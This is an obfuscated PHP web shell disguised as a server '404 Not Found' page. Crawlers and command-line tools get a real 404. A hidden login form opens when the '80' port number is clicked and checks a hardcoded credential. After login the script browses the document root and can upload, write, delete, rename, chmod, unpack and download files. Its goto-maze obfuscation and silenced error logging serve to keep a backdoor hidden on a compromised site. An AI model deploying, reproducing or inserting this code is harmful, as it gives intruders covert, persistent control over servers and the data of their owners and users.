<?php set_time_limit(0); @clearstatcache(); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @ini_set('output_buffering', 0); @ini_set('display_errors', 0); if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT'])) { goto F0CV3; } if (!isset($_SERVER['HTTP_USER_AGENT'])) { goto UkDw0; } goto SjeQk; F0CV3: header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die; goto SjeQk; UkDw0: header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die; SjeQk: $iM9vZ = true; $SFh9O = array('Xs3jhXQ3NG' => 'Xs3jhXQ3NG'); $aqIEB = true; $qbDeu = 'vs'; $SP4V_ = 'Europe/Minsk'; $uRie2 = $_SERVER['DOCUMENT_ROOT']; $gaNBt = ''; $jfJET = $_SERVER['HTTP_HOST']; $eUJwh = 'CP1251'; $uk9Hs = 'd.m.y H:i'; if (defined('FM_EMBED')) { goto LktQk; } @set_time_limit(600); date_default_timezone_set($SP4V_); ini_set('default_charset', 'UTF-8'); if (!(version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding'))) { goto VnClI; } mb_internal_encoding('UTF-8'); VnClI: if (!function_exists('mb_regex_encoding')) { goto tp2Z1; } mb_regex_encoding('UTF-8'); tp2Z1: session_cache_limiter(''); session_name('filemanager'); session_start(); goto e1ujg; LktQk: $iM9vZ = false; e1ujg: if (!empty($SFh9O)) { goto OFgIH; } $iM9vZ = false; OFgIH: $L3CPZ = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; $uRie2 = rtrim($uRie2, '\\/'); $uRie2 = str_replace('\\', '/', $uRie2); if (@is_dir($uRie2)) { goto YQRYr; } echo sprintf('<h1>Root path "%s" not found!</h1>', hqQZ2($uRie2)); exit; YQRYr: $gaNBt = WXw3Q($gaNBt); defined('FM_ROOT_PATH') || define('kdObv', $uRie2); defined('FM_ROOT_URL') || define('EaU6k', ($L3CPZ ? 'https' : 'http') . '://' . $jfJET . (!empty($gaNBt) ? '/' . $gaNBt : '')); defined('FM_SELF_URL') || define('MRZDt', ($L3CPZ ? 'https' : 'http') . '://' . $jfJET . $_SERVER['PHP_SELF']); if (!isset($_GET['logout'])) { goto p1KI2; } unset($_SESSION['logged']); DtbPn(MRZDt); p1KI2: if (!isset($_GET['img'])) { goto kSCZv; } y8CxO($_GET['img']); kSCZv: if (!$iM9vZ) { goto NO3d0; } if (isset($_SESSION['logged'], $SFh9O[$_SESSION['logged']])) { goto S71VH; } if (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { goto KVX5K; } unset($_SESSION['logged']); ?> <!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'> <html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p> <hr> <address><?php echo $_SERVER["SERVER_SOFTWARE"]; ?> Server at <?php echo $_SERVER['HTTP_HOST']; ?> Port <span onclick="document.getElementById('li*ax').style.display = 'block';">80</span></address> </body> </html> <div id="li*ax" class="path" style="display: none;"> <form action="" method="post" style="margin:10px;text-align:center"> <input name="fm_usr" value="" placeholder="Username" required> <input type="password" name="fm_pwd" value="" placeholder="Password" required> <input type="submit" value="Login"> </form> </div> <?php exit; goto HzcZJ; S71VH: goto HzcZJ; KVX5K: sleep(1); if (isset($SFh9O[$_POST['fm_usr']]) && $_POST['fm_pwd'] === $SFh9O[$_POST['fm_usr']]) { goto TzD9C; } unset($_SESSION['logged']); zr3B_('Wrong password', 'error'); dTBpN(MRZDt); goto pJJG2; TzD9C: $_SESSION['logged'] = $_POST['fm_usr']; zR3B_('You are logged in'); dtbPn(MRZDt . '?p='); pJJG2: HzcZJ: NO3d0: define('QP1GR', DIRECTORY_SEPARATOR == '\\'); if (isset($_GET['p'])) { goto Udns7; } dTBpn('?p='); Udns7: $uexkq = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); $uexkq = wxw3q($uexkq); define('TrnH8', $uexkq); define('pCyHf', $iM9vZ); defined('FM_ICONV_INPUT_ENC') || define('XT78D', $eUJwh); defined('FM_USE_HIGHLIGHTJS') || define('J1kXO', $aqIEB); defined('FM_HIGHLIGHTJS_STYLE') || define('k1Qsx', $qbDeu); defined('FM_DATETIME_FORMAT') || define('PypMz', $uk9Hs); unset($uexkq, $iM9vZ, $eUJwh, $aqIEB, $qbDeu); if (!isset($_GET['del'])) { goto kaZsK; } $u3UyK = $_GET['del']; $u3UyK = wXW3q($u3UyK); $u3UyK = str_replace('/', '', $u3UyK); if ($u3UyK != '' && $u3UyK != '..' && $u3UyK != '.') { goto u1_1M; } zr3b_('Wrong file or folder name', 'error'); goto lfuhH; u1_1M: $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto EVQya; } $Hwgbl .= '/' . TrnH8; EVQya: $B0Sym = is_dir($Hwgbl . '/' . $u3UyK); if (nYnuT($Hwgbl . '/' . $u3UyK)) { goto zuYlg; } $zZZyL = $B0Sym ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted'; zR3b_(sprintf($zZZyL, HQQZ2($u3UyK)), 'error'); goto gbqaE; zuYlg: $zZZyL = $B0Sym ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted'; ZR3b_(sprintf($zZZyL, HqqZ2($u3UyK))); gbqaE: lfuhH: kaZsK: if (!isset($_GET['new'])) { goto BOATN; } $Izzxh = strip_tags($_GET['new']); $Izzxh = Wxw3q($Izzxh); $Izzxh = str_replace('/', '', $Izzxh); if ($Izzxh != '' && $Izzxh != '..' && $Izzxh != '.') { goto s0YIN; } Zr3B_('Wrong folder name', 'error'); goto DiJ6m; s0YIN: $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto plyb3; } $Hwgbl .= '/' . TrnH8; plyb3: if (uIiYh($Hwgbl . '/' . $Izzxh, false) === true) { goto xyUZ_; } if (uIiYh($Hwgbl . '/' . $Izzxh, false) === $Hwgbl . '/' . $Izzxh) { goto RSebL; } ZR3b_(sprintf('Folder <b>%s</b> not created', HQqz2($Izzxh)), 'error'); goto QrzOy; xyUZ_: zR3B_(sprintf('Folder <b>%s</b> created', HqQZ2($Izzxh))); goto QrzOy; RSebL: Zr3B_(sprintf('Folder <b>%s</b> already exists', hQqZ2($Izzxh)), 'alert'); QrzOy: DiJ6m: BOATN: if (!isset($_GET['copy'], $_GET['finish'])) { goto jMcte; } $KTgnK = $_GET['copy']; $KTgnK = wxW3Q($KTgnK); if (!($KTgnK == '')) { goto SpV1f; } zr3b_('Source path not defined', 'error'); SpV1f: $Ua9yt = kdObv . '/' . $KTgnK; $pgvw7 = kdObv; if (!(TrnH8 != '')) { goto ww6Rf; } $pgvw7 .= '/' . TrnH8; ww6Rf: $pgvw7 .= '/' . basename($Ua9yt); $NGSXN = isset($_GET['move']); if ($Ua9yt != $pgvw7) { goto GGFw7; } Zr3B_('Paths must be not equal', 'alert'); goto mMrYw; GGFw7: $oaC4M = trim(TrnH8 . '/' . basename($Ua9yt), '/'); if ($NGSXN) { goto qmX9M; } if (j3CPL($Ua9yt, $pgvw7)) { goto Gu12J; } Zr3B_(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', hQQZ2($KTgnK), HQQz2($oaC4M)), 'error'); goto R8lE4; Gu12J: ZR3B_(sprintf('Copyied from <b>%s</b> to <b>%s</b>', HQqZ2($KTgnK), HQqz2($oaC4M))); R8lE4: goto TxFj4; qmX9M: $axaT7 = nmvFt($Ua9yt, $pgvw7); if ($axaT7) { goto VTVdn; } if ($axaT7 === null) { goto HwM67; } zr3b_(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', HqqZ2($KTgnK), hqqZ2($oaC4M)), 'error'); goto RTW2r; VTVdn: zr3b_(sprintf('Moved from <b>%s</b> to <b>%s</b>', hqQz2($KTgnK), hQqZ2($oaC4M))); goto RTW2r; HwM67: zR3b_('File or folder with this path already exists', 'alert'); RTW2r: TxFj4: mMrYw: jMcte: if (!isset($_POST['file'], $_POST['copy_to'], $_POST['finish'])) { goto xqptz; } $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto cYxgZ; } $Hwgbl .= '/' . TrnH8; cYxgZ: $Rc_8x = kdObv; $OlYss = wxw3Q($_POST['copy_to']); if (!($OlYss != '')) { goto qkUBb; } $Rc_8x .= '/' . $OlYss; qkUBb: if (!($Hwgbl == $Rc_8x)) { goto FYJCb; } ZR3B_('Paths must be not equal', 'alert'); FYJCb: if (is_dir($Rc_8x)) { goto cKHHn; } if (UIIYh($Rc_8x, true)) { goto WS_qh; } zr3B_('Unable to create destination folder', 'error'); WS_qh: cKHHn: $NGSXN = isset($_POST['move']); $ts2vO = 0; $zwWEr = $_POST['file']; if (is_array($zwWEr) && count($zwWEr)) { goto IR8a2; } ZR3B_('Nothing selected', 'alert'); goto R6cbd; IR8a2: foreach ($zwWEr as $h9haS) { if (!($h9haS != '')) { goto Xq2EP; } $Ua9yt = $Hwgbl . '/' . $h9haS; $pgvw7 = $Rc_8x . '/' . $h9haS; if ($NGSXN) { goto eSuA1; } if (j3Cpl($Ua9yt, $pgvw7)) { goto vnUkw; } $ts2vO++; vnUkw: goto vAcqT; eSuA1: $axaT7 = nmVFt($Ua9yt, $pgvw7); if (!($axaT7 === false)) { goto aDnzU; } $ts2vO++; aDnzU: vAcqT: Xq2EP: tYE6F: } SDvUM: if ($ts2vO == 0) { goto Qj9Ue; } $zZZyL = $NGSXN ? 'Error while moving items' : 'Error while copying items'; Zr3B_($zZZyL, 'error'); goto WPwO2; Qj9Ue: $zZZyL = $NGSXN ? 'Selected files and folders moved' : 'Selected files and folders copied'; ZR3b_($zZZyL); WPwO2: R6cbd: xqptz: if (!isset($_GET['ren'], $_GET['to'])) { goto FWJi0; } $zM8SE = $_GET['ren']; $zM8SE = WxW3q($zM8SE); $zM8SE = str_replace('/', '', $zM8SE); $Izzxh = $_GET['to']; $Izzxh = wxw3Q($Izzxh); $Izzxh = str_replace('/', '', $Izzxh); $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto Z_hV7; } $Hwgbl .= '/' . TrnH8; Z_hV7: if ($zM8SE != '' && $Izzxh != '') { goto PxlzX; } Zr3b_('Names not set', 'error'); goto YvRK8; PxlzX: if (NMvFT($Hwgbl . '/' . $zM8SE, $Hwgbl . '/' . $Izzxh)) { goto ibQWW; } zR3B_(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', hqqz2($zM8SE), hQqZ2($Izzxh)), 'error'); goto nkWZh; ibQWW: ZR3B_(sprintf('Renamed from <b>%s</b> to <b>%s</b>', hqQZ2($zM8SE), hqQz2($Izzxh))); nkWZh: YvRK8: FWJi0: if (!isset($_GET['dl'])) { goto gr4hJ; } $yjXs3 = $_GET['dl']; $yjXs3 = wxW3Q($yjXs3); $yjXs3 = str_replace('/', '', $yjXs3); $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto QBLMB; } $Hwgbl .= '/' . TrnH8; QBLMB: if ($yjXs3 != '' && is_file($Hwgbl . '/' . $yjXs3)) { goto tblUM; } zr3b_('File not found', 'error'); goto vPaPg; tblUM: header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($Hwgbl . '/' . $yjXs3) . '"'); header('Content-Transfer-Encoding: binary'); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($Hwgbl . '/' . $yjXs3)); readfile($Hwgbl . '/' . $yjXs3); exit; vPaPg: gr4hJ: if (!isset($_POST['upl'])) { goto pHTwf; } $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto Sf56R; } $Hwgbl .= '/' . TrnH8; Sf56R: $ts2vO = 0; $fsy6U = 0; $oonyt = count($_FILES['upload']['name']); $VsgRk = 0; uP3Mw: if (!($VsgRk < $oonyt)) { goto qJ7bW; } $AERHz = $_FILES['upload']['tmp_name'][$VsgRk]; if (!(empty($_FILES['upload']['error'][$VsgRk]) && !empty($AERHz) && $AERHz != 'none')) { goto UUMkv; } if (move_uploaded_file($AERHz, $Hwgbl . '/' . $_FILES['upload']['name'][$VsgRk])) { goto EWOed; } $ts2vO++; goto JQrnu; EWOed: $fsy6U++; JQrnu: UUMkv: YEQTj: $VsgRk++; goto uP3Mw; qJ7bW: if ($ts2vO == 0 && $fsy6U > 0) { goto bX93P; } if ($ts2vO == 0 && $fsy6U == 0) { goto u0yTu; } zr3B_(sprintf('Error while uploading files. Uploaded files: %s', $fsy6U), 'error'); goto c4mKb; bX93P: Zr3b_(sprintf('All files uploaded to <b>%s</b>', hqqz2($Hwgbl))); goto c4mKb; u0yTu: zR3B_('Nothing uploaded', 'alert'); c4mKb: pHTwf: if (!isset($_POST['save'])) { goto jPpvd; } $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto yZ6jt; } $Hwgbl .= '/' . TrnH8; yZ6jt: $ts2vO = 0; $fsy6U = 0; if (file_put_contents($Hwgbl . '/' . base64_decode($_POST['name']), base64_decode($_POST['content']))) { goto pTmdU; } $ts2vO++; goto FBmPn; pTmdU: $fsy6U++; FBmPn: if ($ts2vO == 0 && $fsy6U > 0) { goto LCz9J; } if ($ts2vO == 0 && $fsy6U == 0) { goto CVn3f; } Zr3b_(sprintf('Error while uploading files. Uploaded files: %s', $fsy6U), 'error'); goto rC06p; LCz9J: Zr3B_(sprintf('All files uploaded to <b>%s</b>', HqqZ2($Hwgbl))); goto rC06p; CVn3f: zR3b_('Nothing uploaded', 'alert'); rC06p: jPpvd: if (!isset($_POST['group'], $_POST['delete'])) { goto wRLo3; } $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto lrzFh; } $Hwgbl .= '/' . TrnH8; lrzFh: $ts2vO = 0; $zwWEr = $_POST['file']; if (is_array($zwWEr) && count($zwWEr)) { goto vp_6k; } ZR3B_('Nothing selected', 'alert'); goto IDuiY; vp_6k: foreach ($zwWEr as $h9haS) { if (!($h9haS != '')) { goto Sn6Rm; } $AagOb = $Hwgbl . '/' . $h9haS; if (nYnuT($AagOb)) { goto vfNod; } $ts2vO++; vfNod: Sn6Rm: WpV21: } Z1zn3: if ($ts2vO == 0) { goto X3wZ8; } ZR3b_('Error while deleting items', 'error'); goto UpdlA; X3wZ8: zr3B_('Selected files and folder deleted'); UpdlA: IDuiY: wRLo3: if (!isset($_POST['group'], $_POST['zip'])) { goto skMb1; } $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto mstHu; } $Hwgbl .= '/' . TrnH8; mstHu: if (class_exists('ZipArchive')) { goto EgUAA; } zr3B_('Operations with archives are not available', 'error'); EgUAA: $zwWEr = $_POST['file']; if (!empty($zwWEr)) { goto JgTKT; } Zr3b_('Nothing selected', 'alert'); goto nm9MV; JgTKT: chdir($Hwgbl); if (count($zwWEr) == 1) { goto fcgQj; } $k0swd = 'archive_' . date('ymd_His') . '.zip'; goto jztqm; fcgQj: $eK5GN = reset($zwWEr); $eK5GN = basename($eK5GN); $k0swd = $eK5GN . '_' . date('ymd_His') . '.zip'; jztqm: $pqk4V = new Lu9vn(); $o5f5S = $pqk4V->wNRkG($k0swd, $zwWEr); if ($o5f5S) { goto XBCUA; } ZR3b_('Archive not created', 'error'); goto z86Ii; XBCUA: zr3B_(sprintf('Archive <b>%s</b> created', hqqZ2($k0swd))); z86Ii: nm9MV: skMb1: if (!isset($_GET['unzip'])) { goto rWrNk; } $egzyn = $_GET['unzip']; $egzyn = wXw3Q($egzyn); $egzyn = str_replace('/', '', $egzyn); $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto i8GMe; } $Hwgbl .= '/' . TrnH8; i8GMe: if (class_exists('ZipArchive')) { goto WaIU_; } ZR3b_('Operations with archives are not available', 'error'); WaIU_: if ($egzyn != '' && is_file($Hwgbl . '/' . $egzyn)) { goto h0R1H; } ZR3b_('File not found', 'error'); goto JxZAn; h0R1H: $BXU1Q = $Hwgbl . '/' . $egzyn; $Oi2Xk = ''; if (!isset($_GET['tofolder'])) { goto q3Yf6; } $Oi2Xk = pathinfo($BXU1Q, PATHINFO_FILENAME); if (!UiiYh($Hwgbl . '/' . $Oi2Xk, true)) { goto ZMAF1; } $Hwgbl .= '/' . $Oi2Xk; ZMAF1: q3Yf6: $pqk4V = new lu9vn(); $o5f5S = $pqk4V->ZCpoK($BXU1Q, $Hwgbl); if ($o5f5S) { goto zwX6w; } zr3b_('Archive not unpacked', 'error'); goto rod9J; zwX6w: zr3b_('Archive unpacked'); rod9J: JxZAn: rWrNk: if (!(isset($_POST['chmod']) && !QP1GR)) { goto QIVw0; } $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto f_xIr; } $Hwgbl .= '/' . TrnH8; f_xIr: $fA2n2 = $_POST['chmod']; $fA2n2 = wxW3Q($fA2n2); $fA2n2 = str_replace('/', '', $fA2n2); if (!($fA2n2 == '' || !is_file($Hwgbl . '/' . $fA2n2) && !is_dir($Hwgbl . '/' . $fA2n2))) { goto c77wJ; } zR3B_('File not found', 'error'); c77wJ: $k1C3A = 0; if (empty($_POST['ur'])) { goto XZ0H_; } $k1C3A |= 0400; XZ0H_: if (empty($_POST['uw'])) { goto Ac0wS; } $k1C3A |= 0200; Ac0wS: if (empty($_POST['ux'])) { goto gcAK8; } $k1C3A |= 0100; gcAK8: if (empty($_POST['gr'])) { goto bphd5; } $k1C3A |= 040; bphd5: if (empty($_POST['gw'])) { goto i8d_K; } $k1C3A |= 020; i8d_K: if (empty($_POST['gx'])) { goto Tmq61; } $k1C3A |= 010; Tmq61: if (empty($_POST['or'])) { goto uSb78; } $k1C3A |= 04; uSb78: if (empty($_POST['ow'])) { goto yXJgo; } $k1C3A |= 02; yXJgo: if (empty($_POST['ox'])) { goto Wg21Z; } $k1C3A |= 01; Wg21Z: if (@chmod($Hwgbl . '/' . $fA2n2, $k1C3A)) { goto kM87C; } Zr3B_('Permissions not changed', 'error'); goto lMzez; kM87C: ZR3B_('Permissions changed'); lMzez: QIVw0: $Hwgbl = kdObv; if (!(TrnH8 != '')) { goto C828N; } $Hwgbl .= '/' . TrnH8; C828N: if (is_dir($Hwgbl)) { goto zN1KP; } dtBPN(MRZDt . '?p='); zN1KP: $aFPG_ = yTqtV(TrnH8); $YJKZX = is_readable($Hwgbl) ? scandir($Hwgbl) : array(); $N9FEl = array(); $zwWEr = array(); if (!is_array($YJKZX)) { goto vw4IL; } foreach ($YJKZX as $fA2n2) { if (!($fA2n2 == '.' || $fA2n2 == '..')) { goto kQTel; } goto YSDau; kQTel: $AagOb = $Hwgbl . '/' . $fA2n2; if (is_file($AagOb)) { goto Rk34S; } if (is_dir($AagOb) && $fA2n2 != '.' && $fA2n2 != '..') { goto j0xfc; } goto imKDK; Rk34S: $zwWEr[] = $fA2n2; goto imKDK; j0xfc: $N9FEl[] = $fA2n2; imKDK: YSDau: } mlSql: vw4IL: if (empty($zwWEr)) { goto hZeUX; } natcasesort($zwWEr); hZeUX: if (empty($N9FEl)) { goto LZ978; } natcasesort($N9FEl); LZ978: if (!isset($_GET['upload'])) { goto UuuzI; } BMvKD(); ib0xY(TrnH8); ?> <div class="path"> <p><b>Uploading files</b></p> <p class="break-word">Destination folder: <?php echo Hqqz2(JDIFN(kdObv . '/' . TrnH8)); ?></p> <form action="" method="post" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo hQqZ2(TrnH8); ?>"> <input type="hidden" name="upl" value="1"> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <input type="file" name="upload[]"><br> <br> <p> <button class="btn"><i class="icon-apply"></i> Upload</button> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php Fbf3U(); exit; UuuzI: if (!isset($_POST['copy'])) { goto JRcn1; } $qsmWV = $_POST['file']; if (!(!is_array($qsmWV) || empty($qsmWV))) { goto tdNSl; } Zr3b_('Nothing selected', 'alert'); tdNSl: bmvkd(); IB0xY(TrnH8); ?> <div class="path"> <p><b>Copying</b></p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo HQqz2(TrnH8); ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($qsmWV as $L4chE) { echo '<input type="hidden" name="file[]" value="' . Hqqz2($L4chE) . '">' . PHP_EOL; bvMR3: } j3rAK: $TVZ4c = array_map('fm_enc', $qsmWV); ?> <p class="break-word">Files: <b><?php echo implode('</b>, <b>', $TVZ4c); ?></b></p> <p class="break-word">Source folder: <?php echo hqQZ2(JdIFn(kdObv . '/' . TrnH8)); ?><br> <label for="inp_copy_to">Destination folder:</label> <?php echo kdObv; ?>/<input name="copy_to" id="inp_copy_to" value="<?php echo hqqZ2(TrnH8); ?>"> </p> <p><label><input type="checkbox" name="move" value="1"> Move</label></p> <p> <button class="btn"><i class="icon-apply"></i> Copy</button> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php FBf3U(); exit; JRcn1: if (!(isset($_GET['copy']) && !isset($_GET['finish']))) { goto Zn6MY; } $KTgnK = $_GET['copy']; $KTgnK = Wxw3Q($KTgnK); if (!($KTgnK == '' || !file_exists(kdObv . '/' . $KTgnK))) { goto dab5k; } ZR3b_('File not found', 'error'); dab5k: bMVkd(); ib0xy(TrnH8); ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> Source path: <?php echo HQqZ2(jDIFN(kdObv . '/' . $KTgnK)); ?><br> Destination folder: <?php echo HqQZ2(jdifn(kdObv . '/' . TrnH8)); ?> </p> <p> <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;copy=<?php echo urlencode($KTgnK); ?>&amp;finish=1"><i class="icon-apply"></i> Copy</a></b> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;copy=<?php echo urlencode($KTgnK); ?>&amp;finish=1&amp;move=1"><i class="icon-apply"></i> Move</a></b> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> <p><i>Select folder:</i></p> <ul class="folders break-word"> <?php if (!($aFPG_ !== false)) { goto u0onz; } ?> <li><a href="?p=<?php echo urlencode($aFPG_); ?>&amp;copy=<?php echo urlencode($KTgnK); ?>"><i class="icon-arrow_up"></i> ..</a></li> <?php u0onz: foreach ($N9FEl as $h9haS) { ?> <li><a href="?p=<?php echo urlencode(trim(TrnH8 . '/' . $h9haS, '/')); ?>&amp;copy=<?php echo urlencode($KTgnK); ?>"><i class="icon-folder"></i> <?php echo HqQZ2(JdiFN($h9haS)); ?></a></li> <?php IfNn0: } t7QWH: ?> </ul> </div> <?php FBf3U(); exit; Zn6MY: if (!(isset($_GET['view']) && !isset($_GET['edit']))) { goto IC7Ed; } $fA2n2 = $_GET['view']; $fA2n2 = wxW3Q($fA2n2); $fA2n2 = str_replace('/', '', $fA2n2); if (!($fA2n2 == '' || !is_file($Hwgbl . '/' . $fA2n2))) { goto JRE6w; } zR3b_('File not found', 'error'); JRE6w: BmVkd(); Ib0xY(TrnH8); $JhAD1 = EaU6k . jDifn((TrnH8 != '' ? '/' . TrnH8 : '') . '/' . $fA2n2); $RS3WA = $Hwgbl . '/' . $fA2n2; $LtN7k = strtolower(pathinfo($RS3WA, PATHINFO_EXTENSION)); $Lc9HS = HL0DG($RS3WA); $ZZwvW = filesize($RS3WA); $hApAi = false; $M4ODW = false; $yPytv = false; $GM_Uh = false; $Nge9M = false; $mGknk = 'File'; $dzUra = false; $m96Q8 = ''; if ($LtN7k == 'zip') { goto xM7fe; } if (in_array($LtN7k, wVupk())) { goto wyLl0; } if (in_array($LtN7k, ByT_0())) { goto UM17Z; } if (in_array($LtN7k, YZKRg())) { goto oBvnh; } if (in_array($LtN7k, iL_6e()) || substr($Lc9HS, 0, 4) == 'text' || in_array($Lc9HS, UrHJN())) { goto a7cy0; } goto Kvcft; xM7fe: $hApAi = true; $mGknk = 'Archive'; $dzUra = cAYcL($RS3WA); goto Kvcft; wyLl0: $M4ODW = true; $mGknk = 'Image'; goto Kvcft; UM17Z: $yPytv = true; $mGknk = 'Audio'; goto Kvcft; oBvnh: $GM_Uh = true; $mGknk = 'Video'; goto Kvcft; a7cy0: $Nge9M = true; $m96Q8 = file_get_contents($RS3WA); Kvcft: ?> <div class="path"> <p class="break-word"><b><?php echo $mGknk; ?> "<?php echo Hqqz2(jdIFn($fA2n2)); ?>"</b></p> <p class="break-word"> Full path: <?php echo hqQz2(JDIfN($RS3WA)); ?><br> File size: <?php echo ffm0I($ZZwvW); if (!($ZZwvW >= 1000)) { goto twipv; } ?> (<?php echo sprintf('%s bytes', $ZZwvW); ?>)<?php twipv: ?><br> MIME-type: <?php echo $Lc9HS; ?><br> <?php if (!($hApAi && $dzUra !== false)) { goto UXj3H; } $HIvQP = 0; $qQuIJ = 0; $PlTgF = 0; foreach ($dzUra as $xxQHn) { if ($xxQHn['folder']) { goto E9N_H; } $HIvQP++; E9N_H: $qQuIJ += $xxQHn['compressed_size']; $PlTgF += $xxQHn['filesize']; kfqUc: } vQpz4: ?> Files in archive: <?php echo $HIvQP; ?><br> Total size: <?php echo ffM0I($PlTgF); ?><br> Size in archive: <?php echo ffm0i($qQuIJ); ?><br> Compression: <?php echo round($qQuIJ / $PlTgF * 100); ?>%<br> <?php UXj3H: if (!$M4ODW) { goto ceGju; } $rwHNo = getimagesize($RS3WA); echo 'Image sizes: ' . (isset($rwHNo[0]) ? $rwHNo[0] : '0') . ' x ' . (isset($rwHNo[1]) ? $rwHNo[1] : '0') . '<br>'; ceGju: if (!$Nge9M) { goto jzkBS; } $yOpuc = noVK9($m96Q8); if (!function_exists('iconv')) { goto HF13y; } if ($yOpuc) { goto BwdZb; } $m96Q8 = iconv(XT78D, 'UTF-8//IGNORE', $m96Q8); BwdZb: HF13y: echo 'Charset: ' . ($yOpuc ? 'utf-8' : '8 bit') . '<br>'; jzkBS: ?> </p> <p> <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;dl=<?php echo urlencode($fA2n2); ?>"><i class="icon-download"></i> Download</a></b> &nbsp; <b><a href="<?php echo HqqZ2($JhAD1); ?>" target="_blank"><i class="icon-chain"></i> Open</a></b> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;view=<?php echo urlencode($fA2n2); ?>&amp;edit=1"><i class="icon-edit"></i> Edit</a></b> &nbsp; <?php if (!($hApAi && $dzUra !== false)) { goto rrzXd; } $kEdvl = pathinfo($RS3WA, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;unzip=<?php echo urlencode($fA2n2); ?>"><i class="icon-apply"></i> Unpack</a></b> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;unzip=<?php echo urlencode($fA2n2); ?>&amp;tofolder=1" title="Unpack to <?php echo hQQz2($kEdvl); ?>"><i class="icon-apply"></i> Unpack to folder</a></b> &nbsp; <?php rrzXd: ?> <b><a href="?p=<?php echo urlencode(TrnH8); ?>"><i class="icon-goback"></i> Back</a></b> </p> <?php if ($hApAi) { goto Jv39y; } if ($M4ODW) { goto tdm0f; } if ($yPytv) { goto noOwW; } if ($GM_Uh) { goto r2uIH; } if ($Nge9M) { goto bHewS; } goto yA0kN; Jv39y: if ($dzUra !== false) { goto ZIjT1; } echo '<p>Error while fetching archive info</p>'; goto F_7Jg; ZIjT1: echo '<code class="maxheight">'; foreach ($dzUra as $xxQHn) { if ($xxQHn['folder']) { goto p2G6z; } echo $xxQHn['name'] . ' (' . fFM0i($xxQHn['filesize']) . ')<br>'; goto R4pHq; p2G6z: echo '<b>' . hqQz2($xxQHn['name']) . '</b><br>'; R4pHq: GvMcQ: } Toc_p: echo '</code>'; F_7Jg: goto yA0kN; tdm0f: if (!in_array($LtN7k, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { goto lYDqb; } echo '<p><img src="' . HQqZ2($JhAD1) . '" alt="" class="preview-img"></p>'; lYDqb: goto yA0kN; noOwW: echo '<p><audio src="' . HQQZ2($JhAD1) . '" controls preload="metadata"></audio></p>'; goto yA0kN; r2uIH: echo '<div class="preview-video"><video src="' . hQqZ2($JhAD1) . '" width="640" height="360" controls preload="metadata"></video></div>'; goto yA0kN; bHewS: if (J1kXO) { goto RcCML; } if (in_array($LtN7k, array('php', 'php4', 'php5', 'phtml', 'phps'))) { goto K3tNa; } $m96Q8 = '<pre>' . HQQz2($m96Q8) . '</pre>'; goto E1Smg; RcCML: $cU1cx = array('shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml'); $JvjpH = isset($cU1cx[$LtN7k]) ? 'lang-' . $cU1cx[$LtN7k] : 'lang-' . $LtN7k; if (!(empty($LtN7k) || in_array(strtolower($fA2n2), JRYme()) || preg_match('#\\.min\\.(css|js)$#i', $fA2n2))) { goto p19_O; } $JvjpH = 'nohighlight'; p19_O: $m96Q8 = '<pre class="with-hljs"><code class="' . $JvjpH . '">' . hQQz2($m96Q8) . '</code></pre>'; goto E1Smg; K3tNa: $m96Q8 = highlight_string($m96Q8, true); E1Smg: echo $m96Q8; yA0kN: ?> </div> <?php fBf3U(); exit; IC7Ed: 